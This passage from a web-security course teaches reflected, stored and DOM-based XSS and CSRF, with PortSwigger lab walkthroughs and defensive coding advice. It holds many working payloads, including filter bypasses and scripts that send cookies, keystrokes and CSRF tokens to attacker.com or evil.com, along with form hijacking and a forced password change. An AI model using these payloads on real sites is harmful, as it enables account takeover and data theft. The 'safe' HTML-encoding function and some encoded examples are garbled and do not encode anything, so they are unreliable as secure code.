<!-- Inline script execution -->
<script>
    console.log("This executes immediately");
</script>

Event handler execution: HTML elements can have event attributes that execute JavaScript when specific events occur. The browser executes these handlers when the specified event happens (click, mouseover, error, etc.).

<!-- Executes on click -->
<button onclick="alert('XSS')">Click me</button>

<!-- Executes on page load -->
<body onload="alert('XSS')">

<!-- Executes when image fails to load -->
<img src="invalid.jpg" onerror="alert('XSS')">

<!-- Executes on mouse over -->
<div onmouseover="alert('XSS')">Hover here</div>

SVG execution: Scalable Vector Graphics (SVG) is an XML-based image format that can contain embedded JavaScript. When the browser renders an SVG document, any embedded scripts execute in the context of the page embedding it.

<!-- SVG with embedded script -->
<svg onload="alert('XSS')">
    <rect width="100" height="100"/>
</svg>

Payload delivery through different vectors:

<!-- Standard script injection -->
<script>alert(1)</script>

<!-- Event handler injection -->
<img src=x onerror=alert(1)>

<!-- SVG injection -->
<svg onload=alert(1)>

<!-- Body event handler -->
<body onload=alert(1)>

<!-- iframe with srcdoc -->
<iframe srcdoc="<script>alert(1)</script>">

<!-- object data attribute -->
<object data="data:text/html,<script>alert(1)</script>">

<!-- embed tag -->
<embed src="data:text/html,<script>alert(1)</script>">

Basic XSS Detection

Detecting XSS vulnerabilities requires systematic testing with payloads designed to trigger JavaScript execution. The most reliable detection method is injecting a payload that executes JavaScript and observing the result.

Fundamental detection payload:

<script>alert(1)</script>

If this payload executes (by displaying an alert dialog), the page is vulnerable to XSS. The alert(1) function is chosen because it is a simple, harmless JavaScript call that produces a visible result without causing damage.

Image tag onerror handler:

<img src=x onerror=alert(1)>

This payload exploits the onerror event handler of the img element. When the browser attempts to load an image from source "x" (which doesn't exist), the onerror event fires and executes the JavaScript.

Why these payloads work:

<!-- Browser parses: <img src=x onerror=alert(1)> -->
<!-- src="x" fails to load -->
<!-- onerror fires with alert(1) -->
<!-- alert(1) executes JavaScript -->

Testing methodology:

  1. Identify all user input points (parameters, headers, body content)
  2. Inject a basic XSS payload into each input point
  3. Observe whether the payload is reflected in the response
  4. Verify execution by checking for alert dialogs or using developer tools
  5. Document the context in which the payload executed (HTML body, attribute, URL, etc.)

Reflection detection in Burp Suite:

  • Use the "Find comments" and "Find scripts" features to locate reflected input
  • Check the HTTP response for your payload in the raw response
  • Note the encoding and context of the reflection

Why XSS Works: The Root Cause

XSS vulnerabilities arise from a fundamental failure: treating user input as trusted content. When an application takes data from users and includes it in web pages without proper validation and encoding, attackers can inject malicious scripts.

Vulnerable code pattern (PHP):

// User input directly inserted into HTML
echo "Welcome, " . $_GET['username'];

// Generated HTML:
// Welcome, <script>alert(1)</script>
// Browser executes the script

Vulnerable code pattern (JavaScript/Node.js):

// Express.js example
app.get('/search', (req, res) => {
    res.send('<h1>Results for: ' + req.query.term + '</h1>');
});
// req.query.term is directly inserted without encoding

Safe code pattern:

// Using htmlspecialchars for HTML context
echo "Welcome, " . htmlspecialchars($_GET['username'], ENT_QUOTES, 'UTF-8');

// Generated HTML:
// Welcome, <script>alert(1)</script>
// No script execution occurs

Safe code pattern (JavaScript):

// Using textContent instead of innerHTML
element.textContent = req.query.term;

// Or encoding before innerHTML insertion
function encodeForHTML(str) {
    return str.replace(/[&<>"']/g, char => ({
        '&': '&',
        '<': '<',
        '>': '>',
        '"': '"',
        "'": '&#39;'
    })[char]);
}
element.innerHTML = encodeForHTML(req.query.term);

Real Impact of XSS

The impact of XSS extends far beyond simple alerts or page defacement. A successful XSS attack can lead to complete compromise of user accounts, theft of sensitive data, and persistent access to victim browsers.

Cookie theft and session hijacking:

<!-- Attacker injects this script -->
<script>
    document.location='https://attacker.com/steal?cookie='+document.cookie;
</script>

When this script executes in a victim's browser, their session cookie is sent to the attacker's server. The attacker can then use this cookie to impersonate the victim and take over their account. This is why HttpOnly flags on session cookies are critical—they prevent JavaScript from accessing cookie values.

Keylogging:

<script>
    document.addEventListener('keypress', function(e) {
        var key = e.key;
        new Image().src = 'https://attacker.com/log?key=' + key;
    });
</script>

Every keystroke in the affected page is sent to the attacker's server. This can capture passwords, credit card numbers, personal messages, and other sensitive information.

Page defacement:

<script>
    document.body.innerHTML = '<h1>This site has been hacked</h1>';
</script>

The attacker can completely modify the visual appearance of the page, damaging the website's reputation and potentially displaying phishing forms to steal credentials.

Session riding (CSRF combined with XSS):

<script>
    fetch('/transfer?to=attacker&amount=1000', {
        method: 'POST',
        credentials: 'include'
    });
</script>

XSS can be combined with CSRF to perform actions on behalf of authenticated users. The script triggers a request to the target site with the victim's credentials, performing unauthorized actions.

Network reconnaissance:

<script>
    // Scan internal network
    fetch('http://192.168.1.1/admin').then(r => r.text()).then(t => 
        fetch('https://attacker.com/exfil?data=' + btoa(t))
    );
</script>

In browser contexts with access to internal networks (such as when the vulnerable site is on an internal network), XSS can be used to scan and attack internal systems.

Attack flow diagram:

Attacker                    Victim                    Vulnerable Website
   |                          |                             |
   |---Crafts malicious URL-->|                             |
   |                          |                             |
   |                     Clicks link                        |
   |                          |                             |
   |                          |---Requests page------------->|
   |                          |                             |
   |                          |<--Page with injected JS------|
   |                          |                             |
   |                     Browser executes                   |
   |                     malicious script                   |
   |                          |                             |
   |---Cookie sent to-------->|                             |
   |   attacker server        |                             |
   |                          |                             |

Lesson 12: Reflected XSS

Understanding Reflected XSS

Reflected XSS is the most common XSS variant, accounting for approximately 70% of all XSS vulnerabilities. The name derives from the behavior where user input is "reflected" back to the user in the response without being stored on the server. This means each attack requires the victim to click a specially crafted link.

The attack chain begins when an attacker creates a malicious URL containing an XSS payload in a parameter. The attacker then tricks a victim into clicking this link. When the victim clicks the link, their browser sends a request to the vulnerable website. The website processes the request, reflects the malicious input in the response, and the victim's browser executes the injected script.

Common injection points:

  • Search query parameters
  • Error message displays
  • URL path parameters
  • Form field submissions
  • Any parameter whose value is displayed in the response

Vulnerable application flow:

1. User requests: https://site.com/search?q=<script>alert(1)</script>
2. Server receives: q = "<script>alert(1)</script>"
3. Server generates response with: "Results for: <script>alert(1)</script>"
4. Browser receives HTML with script tag
5. Browser executes script

URL Parameter Injection

URL parameter injection is the primary method for delivering reflected XSS attacks. Understanding URL structure and parameter handling is essential for effective testing.

URL anatomy:

https://example.com/path?param1=value1&param2=value2#anchor
[protocol][  host  ][path][ query string ][fragment]

The query string (everything after the ?) contains parameter name-value pairs separated by &. Special characters in URLs must be percent-encoded to avoid interpretation as delimiters or special characters.

Percent-encoding reference:

Character Encoded Character Encoded
space %20 < %3C
" %22 > %3E
# %23 & %26
% %25 = %3D
+ %2B / %2F

Testing workflow:

  1. Identify the parameter to test
  2. Insert a basic XSS payload
  3. Encode special characters
  4. Send the request
  5. Examine the response for payload reflection
  6. Verify script execution

Manual testing example:

Original URL: https://site.com/search?q=coffee

Test payload: https://site.com/search?q=<script>alert(1)</script>

Encoded: https://site.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E

Tools for parameter manipulation:

  • Burp Suite Repeater: Manually modify parameters and examine responses
  • OWASP ZAP: Automated scanning with parameter fuzzing
  • Browser developer tools: Inspect DOM for reflection points

Testing in Burp Suite

Burp Suite is the industry-standard tool for web application testing, and its features are particularly useful for XSS testing.

Setting up proxy interception:

  1. Configure browser to use Burp as proxy (localhost:8080)
  2. Enable intercept in Proxy > Intercept
  3. Navigate to the target application
  4. Modify requests before forwarding

Using Repeater for XSS testing:

  1. Right-click any request and "Send to Repeater"
  2. In the Repeater tab, modify parameter values
  3. Add XSS payloads to parameters
  4. Click "Go" to send the request
  5. Examine the response for reflection

Response analysis techniques:

  • View the raw response to find reflected input
  • Use "Find" feature to locate your payload
  • Check the "Pretty" tab for rendered HTML
  • Use "Render" tab to see visual display

Scanner for automated detection: Burp Suite Professional includes an active scan feature that automatically tests for XSS vulnerabilities. However, manual testing remains essential because automated scanners miss many vulnerabilities and produce false positives.

Identifying reflection points:

  1. Look for your payload in the response body
  2. Note the HTML context (inside tag, in attribute, in URL, etc.)
  3. Check if characters are encoded or filtered
  4. Determine if the reflection point is in JavaScript context

Burp Professional XSS testing features:

  • Intruder: Fuzz parameters with payload lists
  • Comparer: Compare responses with different payloads
  • Extender: Install XSS-focused extensions

Filter Bypass Techniques

Web applications often implement filters or Web Application Firewalls (WAF) that attempt to block XSS attacks. Understanding common bypass techniques is essential for successful exploitation.

Encoding bypass: Applications may filter based on literal strings but fail to normalize encoded input.

<!-- Original payload (blocked) -->
<script>alert(1)</script>

<!-- Encoded variants (may bypass) -->
%3Cscript%3Ealert(1)%3C/script%3E
<script%3Ealert(1)%3C/script%3E
%3Cscript%3Ealert(1)%3C/script%3E

HTML entity encoding:

<!-- HTML entity encoded -->
<script>alert(1)</script>

<!-- Decoder will process these when innerHTML is used -->

Case variation bypass: Filters that use case-sensitive matching can be bypassed with mixed case.

<!-- Blocked if case-sensitive filter -->
<SCRIPT>alert(1)</SCRIPT>

<!-- Bypassed with mixed case -->
<ScRiPt>alert(1)</ScRiPt>

<!-- Bypassed with uppercase -->
<SCRIPT>alert(1)</SCRIPT>

Polyglot payloads:

A polyglot is a payload that works in multiple contexts. These are designed to maximize the chance of successful exploitation across different filter implementations.

<!-- XSS polyglot: works in HTML, attribute, and URL contexts -->
javascript:/*--></title></script></style></end tag/</noscript></table></form></select></a></iframe></math></plaintext></svg></poison></裘=?//
<svg/onload=alert(1)>

This payload:

  • Closes existing tags with </end tag/
  • Uses </noscript> to escape script contexts
  • Contains an SVG onload handler at the end that executes

Tag name bypass:

<!-- Using different tags -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
<object data="data:text/html,<script>alert(1)</script>">
<embed src="data:text/html,<script>alert(1)</script>">

Event handler variations:

<!-- Different event handlers -->
<img src=x onerror=alert(1)>
<img src=x onload=alert(1)>
<img src=x onmouseover=alert(1)>
<svg onload=alert(1)>
<svg onerror=alert(1)>
<body onload=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>

Null byte injection:

<scri%00pt>alert(1)</scri%00pt>
<scri\npt>alert(1)</scri\npt>

Some parsers stop at null bytes or newlines, allowing the script tag to pass through filters.

Unicode normalization:

<!-- Unicode variations of script -->
<\x73\x63\x72\x69\x70\x74>alert(1)</\x73\x63\x72\x69\x70\x74>

Browsers may normalize Unicode characters, but server-side filters might not account for this.

Context Matters: Where Your Payload Lands

The context in which your XSS payload is reflected determines which exploitation techniques will work. Different contexts require different payload construction.

HTML body context:

<!-- Payload reflected directly in body content -->
<div>Your search: <script>alert(1)</script></div>

<!-- Exploitation: Standard script tag works -->
<script>alert(1)</script>

HTML attribute context:

<!-- Payload reflected inside an attribute value -->
<input value="<script>alert(1)</script>">

<!-- Exploitation: Close attribute, add new handler -->
" onload="alert(1)

When reflected inside an attribute value, you often need to break out of the attribute to inject event handlers.

URL context:

<!-- Payload reflected in href or src attribute -->
<a href="https://site.com< script>alert(1)</script>">

<!-- Exploitation: Use javascript: protocol -->
javascript:alert(1)

JavaScript context:

<!-- Payload reflected inside a JavaScript string -->
<script>
    var search = '<script>alert(1)</script>';
</script>

<!-- Exploitation: Break out and inject -->
'; alert(1);//

When reflected in JavaScript context, you need to break out of the string literal.

Context detection checklist:

  1. Is the payload inside a tag (body context)?
  2. Is it inside an attribute value?
  3. Is it inside a URL parameter?
  4. Is it inside a JavaScript string?
  5. Is HTML encoding applied?
  6. Are quotes escaped?

PortSwigger Academy Lab: Reflected XSS

PortSwigger Academy provides excellent hands-on labs for learning XSS exploitation. Let's walk through a typical reflected XSS lab.

Lab: Reflected XSS in HTML anchor href attribute

This lab contains a reflected XSS vulnerability in the search feedback feature. The reflection point is in the href attribute of a link, and the response does not encode HTML characters.

Lab setup:

Step 1: Identify the reflection point

  1. Navigate to the lab
  2. Enter a test string (e.g., "test123")
  3. Submit the search
  4. Examine where your input appears in the response
  5. Look for it in the resulting HTML

Step 2: Analyze the context You should find your input appearing in an anchor href attribute:

<a href="https://site.com/search?term=test123">Click here</a>

Step 3: Craft the payload Since the reflection is in an href attribute, you can use the javascript: protocol:

javascript:alert(document.cookie)

Step 4: Build the exploit URL

https://ac...id.web-security-academy.net/?search=javascript:alert(document.cookie)

Step 5: Verify the solution Click the resulting link and confirm the alert dialog displays your cookies.

Alternative approach using data: URL:

data:text/html,<script>alert(document.cookie)</script>

Lab: Reflected XSS into attribute with angle brackets HTML-encoded

This lab demonstrates a common scenario where angle brackets are encoded but the payload can still exploit attribute contexts.

Analysis: Input appears as: <input value="test"> If you try <script>alert(1)</script>, it becomes: <input value="<script>alert(1)</script>"> The script tags are displayed as text, not executed.

Solution: Break out of the attribute

" onload="alert(document.cookie)

Result: <input value="" onload="alert(document.cookie)">

Lab: Reflected XSS with nowhere to run

This lab has a reflected XSS but with minimal context. The payload must be self-contained.

Analysis: Input appears in: <div class="search-term">test</div>

Solution:

</div><script>alert(document.cookie)</script><div class="

This closes the div, adds a script tag, then opens a new div to fix the HTML structure.

Key takeaways from labs:

  • Always identify the exact context before crafting payload
  • Attribute contexts allow break-out techniques
  • Sometimes HTML structure manipulation is necessary
  • The shortest payload isn't always the goal—reliability is

Lesson 13: Stored XSS

Understanding Stored XSS

Stored XSS (also called persistent XSS) is the most dangerous variant because the malicious script is permanently stored on the target server. Unlike reflected XSS, which requires tricking users into clicking malicious links, stored XSS automatically executes for every user who views the affected page.

The attack chain: An attacker submits a malicious script to the vulnerable website through an input field, comment, or message. The server stores this script in its database (or file system). When other users later view the affected content, the server retrieves the stored script and includes it in the page response. The victims' browsers execute the script, not knowing it's malicious.

Common storage locations:

  • Database (most common): User comments, posts, profiles
  • File system: Uploaded files, configuration files
  • Server memory: Cached content, session data

Attack flow:

Attacker                 Vulnerable Server              Victim
   |                           |                          |
   |--Submits malicious post-->|                          |
   |                           | Stores in database        |
   |                           |                          |
   |                           |<---Requests page----------|
   |                           |                          |
   |                           |--Returns page with------>|
   |                           |   stored script          |
   |                           |                          |
   |                     Browser executes                  |
   |                     malicious script                 |

Where Stored XSS is Found

Stored XSS vulnerabilities exist anywhere user-generated content is stored and displayed to others. Understanding common functionality helps identify vulnerable features.

User profile fields:

  • Display name/bio
  • Avatar URL
  • Website/URL field
  • Signature
  • Custom fields

Social and communication features:

  • Comments on posts
  • Forum posts and replies
  • Chat messages
  • Direct messages
  • Status updates
  • Reviews and ratings

Content management:

  • Blog posts
  • Wiki pages
  • News articles
  • Product descriptions
  • Event descriptions

Media and files:

  • Image metadata (EXIF)
  • Document titles
  • Video descriptions
  • Playlist names

Example vulnerable application flow (PHP):

// User submits comment
$comment = $_POST['comment'];

// Stored in database without sanitization
$sql = "INSERT INTO comments (body) VALUES ('$comment')";
mysqli_query($conn, $sql);

// Later, when displaying comments
$result = mysqli_query($conn, "SELECT body FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
    echo $row['body'];  // Vulnerable: directly outputs HTML
}

Detection methodology:

  1. Identify all user input points that store data
  2. Submit a test payload: <script>alert(1)</script>
  3. Navigate to where the stored data is displayed
  4. Check if your payload executes
  5. Test with different contexts (inside tags, attributes, etc.)

The Persistent Nature of Stored XSS

The persistence of stored XSS creates significant risk because a single exploit can affect thousands of users without any additional action from the attacker.

Impact comparison:

Type Attack Delivery Number of Victims Duration
Reflected Requires victim to click link Typically one per link Momentary
Stored Automatic on page view All page visitors Indefinite
DOM-based Requires victim to click link Typically one per link Momentary

Real-world attack scenario: An attacker posts a comment on a popular blog: <script>fetch('https://evil.com/steal?c='+document.cookie)</script>

The blog has 10,000 daily readers. Each reader who views the comments section has their session cookie stolen. The attacker does not need to phish any individual user—the attack happens automatically.

Stored XSS in web caches: If the vulnerable content is cached by a CDN or proxy, the malicious script may be served from the cache, affecting users even after the original vulnerability is patched.

Persistence in databases: Unless the stored payload is detected and removed, it remains in the database indefinitely. Even after a patch, the malicious content must be manually removed from storage.

PortSwigger Lab Walkthrough: Stored XSS in Comment Field

Let's walk through a PortSwigger lab that demonstrates stored XSS in a comment field.

Lab: Stored XSS in blog comments

This lab contains a stored XSS vulnerability in the blog comment functionality. The application does not properly sanitize user-submitted comments before displaying them.

Lab goal: Execute alert(document.cookie) when viewing any blog post that has a comment containing the exploit.

Step 1: Navigate to the blog

  1. Access the lab
  2. Click on any blog post
  3. Scroll to the comments section

Step 2: Identify the comment form You should see input fields for:

  • Name
  • Email
  • Comment text
  • Website (optional)

Step 3: Test for stored XSS

  1. Enter the following in the comment field: <script>alert(1)</script>
  2. Fill other fields with test data
  3. Submit the comment
  4. View the blog post again
  5. Check if the alert executes

Step 4: Confirm the vulnerability If the alert executes, the lab is solved. The comment contains JavaScript that executes when other users view the page.

Step 5: Escalate to cookie theft Real attacks don't stop at alerts. The actual payload would be:

<script>
    fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>

Lab: Stored XSS in image upload

This lab demonstrates stored XSS through file upload functionality. The application accepts image uploads but doesn't validate file content.

Analysis:

  1. Upload functionality accepts any file type
  2. Files are stored and served statically
  3. Viewing the uploaded file executes any embedded JavaScript

Exploitation:

  1. Create a file containing: <script>alert(document.cookie)</script>
  2. Name it with .jpg extension
  3. Upload the file
  4. View the uploaded file
  5. The script executes

Lab: Stored XSS in XML document

This lab accepts XML uploads and displays them without proper sanitization.

Payload:

<?xml version="1.0"?>
<root>
    <comment><![CDATA[<script>alert(1)</script>]]></comment>
</root>

Stored XSS + CSRF Chain

Combining stored XSS with CSRF creates powerful attack chains. The stored XSS can be used to steal anti-CSRF tokens or perform actions on behalf of victims.

Attack scenario: Stealing anti-CSRF tokens

Many applications use anti-CSRF tokens to prevent cross-site request forgery. A stored XSS vulnerability can be used to read these tokens.

<script>
    // Read the anti-CSRF token from the page
    var token = document.getElementById('csrf-token').value;
    
    // Send it to the attacker
    fetch('https://attacker.com/steal?token=' + token);
</script>

Attack scenario: Performing CSRF actions

Once an attacker has a valid anti-CSRF token (either stolen or by exploiting XSS to make the request directly), they can perform actions on behalf of the victim.

<script>
    // Make the CSRF request using victim's session
    fetch('/change-email?email=attacker@evil.com', {
        method: 'POST',
        credentials: 'include'
    });
</script>

Attack scenario: Stored XSS defacement with CSRF

An attacker stores an XSS payload that modifies forms on the page to phish credentials.

<script>
    // Wait for page to fully load
    setTimeout(function() {
        // Find the login form
        var forms = document.getElementsByTagName('form');
        for (var i = 0; i < forms.length; i++) {
            if (forms[i].action.includes('/login')) {
                // Modify form to submit to attacker
                forms[i].action = 'https://attacker.com/phish';
                
                // Add hidden field to capture password
                var input = document.createElement('input');
                input.type = 'hidden';
                input.name = 'password';
                forms[i].appendChild(input);
            }
        }
    }, 1000);
</script>

Attack scenario: Password change via stored XSS

<script>
    // Get the anti-CSRF token
    var token = document.querySelector('input[name="csrf"]').value;
    
    // Construct the password change request
    var body = 'csrf=' + encodeURIComponent(token);
    body += '&new_password=AttackerPassword123';
    
    // Send the request
    fetch('/account/change-password', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: body,
        credentials: 'include'
    });
</script>

Real-world considerations:

  • Anti-CSRF tokens may be tied to the session
  • Some actions may require re-authentication
  • Network-level protections may block external requests
  • Some applications use SameSite cookies

Lesson 14: DOM-Based XSS

Understanding DOM-Based XSS

DOM-based XSS is a variant where the vulnerability exists entirely on the client side. The server receives an HTTP request containing user input, but does not include the malicious data in its response. Instead, client-side JavaScript processes the input and writes it to a dangerous sink without proper sanitization.

The name "DOM-based" reflects that the vulnerability is in the Document Object Model (DOM) manipulation code. The browser's DOM processing is where the malicious script is executed.

Classic vs DOM-based comparison:

Aspect Classic XSS DOM-Based XSS
Server involvement Reflects malicious input in response May not reflect input at all
Detection (server-side) Input appears in HTTP response No server-side evidence
Exploitation delivery Via server response Via URL fragment or client-side input
Analysis location HTTP responses JavaScript code

Example vulnerable page:

<!DOCTYPE html>
<html>
<head>
    <title>Search</title>
</head>
<body>
    <h1>Search Results</h1>
    <div id="results"></div>
    <script>
        // Get the search term from URL parameter
        var params = new URLSearchParams(window.location.search);
        var term = params.get('q');
        
        // Display the search term
        document.getElementById('results').innerHTML = 
            'You searched for: ' + term;
    </script>
</body>
</html>

When a user visits page.html?q=<script>alert(1)</script>, the server sends the page without the script. The client-side JavaScript reads the q parameter and inserts it into the DOM using innerHTML, causing script execution.

JavaScript Reads URL Params and Writes to Document

The core pattern of DOM-based XSS involves JavaScript reading user input from the URL and using it in dangerous DOM operations.

URL parsing in JavaScript:

// Method 1: URLSearchParams
var params = new URLSearchParams(window.location.search);
var value = params.get('param');

// Method 2: Manual parsing
var url = new URL(window.location.href);
var value = url.searchParams.get('param');

// Method 3: Legacy parsing
var query = window.location.search.substring(1);
var params = query.split('&');

Common source → sink patterns:

Source: location.search → Sink: innerHTML

document.getElementById('output').innerHTML = 
    new URLSearchParams(window.location.search).get('q');

Source: location.hash → Sink: document.write

document.write('<h1>' + location.hash + '</h1>');

Source: document.referrer → Sink: eval

eval('var user = "' + document.referrer + '";');

Source: localStorage → Sink: innerHTML

document.getElementById('data').innerHTML = localStorage.getItem('prefs');

No Server Round-Trip for Some Variants

Some DOM-based XSS variants involve data that never reaches the server at all, making server-side detection impossible.

Fragment-based DOM XSS: URL fragments (the part after #) are never sent to the server:

https://site.com/page.html#<script>alert(1)</script>

The fragment is processed entirely by the client:

document.write(location.hash.substring(1));

Detection limitations:

  • Server logs won't show the fragment
  • Web Application Firewalls can't filter fragments
  • Some proxy tools don't capture fragments
  • Client-side analysis is required

Browser-based detection:

  1. Open the page in browser
  2. Examine the URL for parameters
  3. Check JavaScript for source/sink patterns
  4. Inject payloads and observe behavior
  5. Use browser developer tools to inspect DOM

Tools for DOM XSS detection:

  • Browser DevTools: Step through JavaScript execution
  • Burp Suite Professional: JavaScript analysis features
  • Retire.js: Identify vulnerable JS libraries
  • Access the DOM via console to test payloads

Source and Sink Analysis

Understanding the source-to-sink data flow is essential for identifying and exploiting DOM-based XSS.

Common sources (where attacker-controlled data comes from):

// URL components
window.location.search
window.location.hash
document.URL
document.documentURI
document.baseURI

// Referrer
document.referrer

// Storage
localStorage.getItem('key')
sessionStorage.getItem('key')

// Messages
window.postMessage

// WebSocket
// etc.

Common sinks (where dangerous operations occur):

// Direct HTML manipulation
element.innerHTML = data
element.outerHTML = data
document.write(data)
document.writeln(data)

// Event handlers
element.setAttribute('onclick', data)
element.setAttribute('onerror', data)

// JavaScript execution
eval(data)
setTimeout(data, delay)
setInterval(data, delay)
Function(data)()

// Script execution
var script = document.createElement('script');
script.textContent = data;
element.appendChild(script);

// jQuery (various sinks)
$(selector).html(data)
$(selector).append(data)
$(selector).prepend(data)

Safe sinks (output without execution):

// Text content (safe)
element.textContent = data
element.innerText = data

// Value property (safe)
input.value = data

// CSS (relatively safe but can cause issues)
element.style.property = data

Finding DOM XSS in JavaScript Code

Static analysis of JavaScript code can reveal DOM-based XSS vulnerabilities before dynamic testing.

Grep patterns for source identification:

# Find URL property access
grep -n "location" *.js
grep -n "document.URL" *.js
grep -n "document.referrer" *.js

# Find storage access
grep -n "localStorage" *.js
grep -n "sessionStorage" *.js

# Find postMessage handling
grep -n "postMessage" *.js

Grep patterns for sink identification:

# Find dangerous DOM manipulation
grep -n "innerHTML" *.js
grep -n "outerHTML" *.js
grep -n "document.write" *.js

# Find JavaScript execution
grep -n "eval(" *.js
grep -n "setTimeout" *.js
grep -n "setInterval" *.js

# Find jQuery sinks
grep -n "\.html(" *.js
grep -n "\.append(" *.js

Example vulnerable JavaScript:

// vulnerable.js
function displayMessage() {
    // Source: location.hash
    var msg = window.location.hash.substring(1);
    
    // Sink: document.write
    document.write('<div>' + msg + '</div>');
}

// vulnerable.js
function loadPreferences() {
    // Source: localStorage
    var theme = localStorage.getItem('theme');
    
    // Sink: innerHTML
    document.getElementById('theme-preview').innerHTML = theme;
}

// vulnerable.js
function processSearch() {
    // Source: URL parameter
    var params = new URLSearchParams(window.location.search);
    var query = params.get('q');
    
    // Sink: eval (dangerous!)
    eval('displaySearch("' + query + '")');
}

Analysis methodology:

  1. Identify all JavaScript files loaded by the application
  2. Search for source patterns (location, document, storage)
  3. For each source, trace how the data flows
  4. Identify if the data reaches a sink
  5. Determine if sanitization occurs between source and sink

Example Vulnerable JavaScript Code

Let's examine complete examples of vulnerable JavaScript to understand the patterns.

Example 1: Simple URL parameter to innerHTML

// This code is vulnerable to DOM XSS
function showSearchResults() {
    // Get parameter from URL
    const urlParams = new URLSearchParams(window.location.search);
    const searchTerm = urlParams.get('search');
    
    // Display without sanitization
    document.getElementById('results').innerHTML = 
        '<h2>Results for: ' + searchTerm + '</h2>';
}

Exploitation:

page.html?search=<img src=x onerror=alert(1)>

Example 2: Fragment-based injection

// This code is vulnerable to fragment-based DOM XSS
function displayTab() {
    // Get tab name from fragment
    const tab = window.location.hash.substring(1);
    
    // Display using document.write
    document.write('<div class="tab">' + tab + '</div>');
}

Exploitation:

page.html#<script>alert(1)</script>

Example 3: Using location.search directly

// Vulnerable pattern from jQuery Mobile
$(document).ready(function() {
    var page = $.url().param('page');
    $('#content').html(page);
});

Exploitation:

?page=<img src=x onerror=alert(1)>

Example 4: Multiple sources

// Vulnerable to multiple source injection
function init() {
    // Can be controlled via URL or localStorage
    var config = localStorage.getItem('app-config') || 
                 window.location.search;
    
    // Dangerous sink
    document.getElementById('app').innerHTML = config;
}

Example 5: Complex flow with weak sanitization

// This code attempts to sanitize but fails
function displayName() {
    var name = window.location.search.split('name=')[1];
    
    // Basic HTML entity encoding (incomplete)
    name = name.replace(/</g, '<').replace(/>/g, '>');
    
    // But attribute context still vulnerable
    document.getElementById('welcome').innerHTML = 
        "<span class='name'>" + name + "</span>";
}

Exploitation:

?name=' onload=alert(1) x='

Result: <span class='name'>' onload=alert(1) x='</span>

Safe version:

// Safe: using textContent instead of innerHTML
function displayName() {
    var name = window.location.search.split('name=')[1];
    document.getElementById('welcome').textContent = name;
}

Lesson 15: Cross-Site Request Forgery (CSRF)

What is CSRF?

Cross-Site Request Forgery (CSRF) is an attack that forces an authenticated user's browser to send HTTP requests to a target website without the user's knowledge or consent. Unlike XSS, which executes malicious code in the victim's browser, CSRF exploits the trust a website has in the user's browser.

The fundamental assumption behind CSRF is that a website trusts all requests coming from a user's browser, regardless of how the request was initiated. If a user is logged into their bank and visits a malicious website, that malicious site can force the browser to send requests to the bank—transferring money, changing settings, or performing other actions.

CSRF vs XSS comparison:

Aspect CSRF XSS
Attack target The website The user
Code execution None (browser sends request) JavaScript executes
Trust exploited Website trusts browser Browser trusts website
Requirements Active session, malicious link Active session, malicious content
Countermeasures Anti-CSRF tokens Input validation, output encoding

Attack flow:

Attacker                Victim Browser             Target Website
   |                         |                           |
   |--Creates malicious------>|                           |
   |  page with auto-submit   |                           |
   |   form or script         |                           |
   |                         |                           |
   |                    User visits                      |
   |                    malicious page                  |
   |                         |                           |
   |                         |---Forged request---------->|
   |                         |   (with session cookie)    |
   |                         |                           |
   |                         |   Website processes        |
   |                         |   request as legitimate    |
   |                         |                           |

How CSRF Differs from XSS

Understanding the distinction between CSRF and XSS is critical for both attack and defense.

XSS allows code execution:

<!-- XSS: Script executes in victim's browser -->
<script>
    // This code RUNS in the victim's browser
    fetch('/api/delete-account', {method: 'POST'});
</script>

CSRF only triggers requests:

<!-- CSRF: Browser sends request, no script execution needed -->
<html>
<body>
<form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker">
    <input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Key differences:

  1. XSS executes JavaScript in the victim's context; CSRF only makes the browser send HTTP requests
  2. XSS can read data from the page and exfiltrate it; CSRF cannot read responses (due to Same-Origin Policy)
  3. XSS bypasses CSRF protections because the request appears to come from the legitimate site
  4. CSRF requires the victim to have an active session; XSS works with or without sessions

Combined attack:

<!-- XSS used to bypass CSRF protection -->
<script>
    // Read the anti-CSRF token from the page
    var token = document.getElementById('csrf-token').value;
    
    // Send CSRF request with the token
    fetch('/api/change-email', {
        method: 'POST',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'csrf=' + token + '&email=attacker@evil.com'
    });
</script>

Anti-CSRF Tokens: How They Work

Anti-CSRF tokens are the primary defense against CSRF attacks. They work by adding a secret value to forms and verifying it on the server side.

Token generation and verification flow:

1. Server generates unique token for session
   token = generateSecureRandomToken()
   store token in session
   embed token in form as hidden field

2. User receives form with token
   <form action="/update-email" method="POST">
       <input type="hidden" name="csrf_token" value="abc123xyz">
       <input type="email" name="email">
       <button type="submit">Update</button>
   </form>

3. User submits form with token
   POST /update-email
   csrf_token=abc123xyz&email=new@example.com

4. Server verifies token
   if (submitted_token == session_token) {
       // Process request
   } else {
       // Reject request
   }

Token requirements:

  • Unique per session (not per request)
  • Cryptographically random
  • Not guessable
  • Validated on every state-changing request
  • Tied to the user's session

Implementation example (Python/Flask):

import secrets
from flask import session, abort

@app.route('/form')
def form():
    # Generate token for session
    if 'csrf_token' not in session:
        session['csrf_token'] = secrets.token_hex(32)
    return render_template('form.html', token=session['csrf_token'])

@app.route('/submit', methods=['POST'])
def submit():
    # Verify token
    token = request.form.get('csrf_token')
    if token != session.get('csrf_token'):
        abort(403)  # Invalid token
    
    # Process request
    return "Success"

Token embedding in HTML:

<form action="/update-profile" method="POST">
    <input type="hidden" 
           name="csrf_token" 
           value="{{ session.csrf_token }}">
    <!-- Other form fields -->
</form>

Bypassing Anti-CSRF Tokens

While anti-CSRF tokens are effective when properly implemented, several bypass techniques exist.

Token leakage via XSS:

<script>
    // XSS can read the token from the page
    var token = document.querySelector('input[name="csrf_token"]').value;
    fetch('https://attacker.com/steal?token=' + token);
</script>

If XSS exists, CSRF protections can be bypassed because the malicious script can read the token.

Token prediction: If tokens are not sufficiently random or have patterns, attackers might predict them.

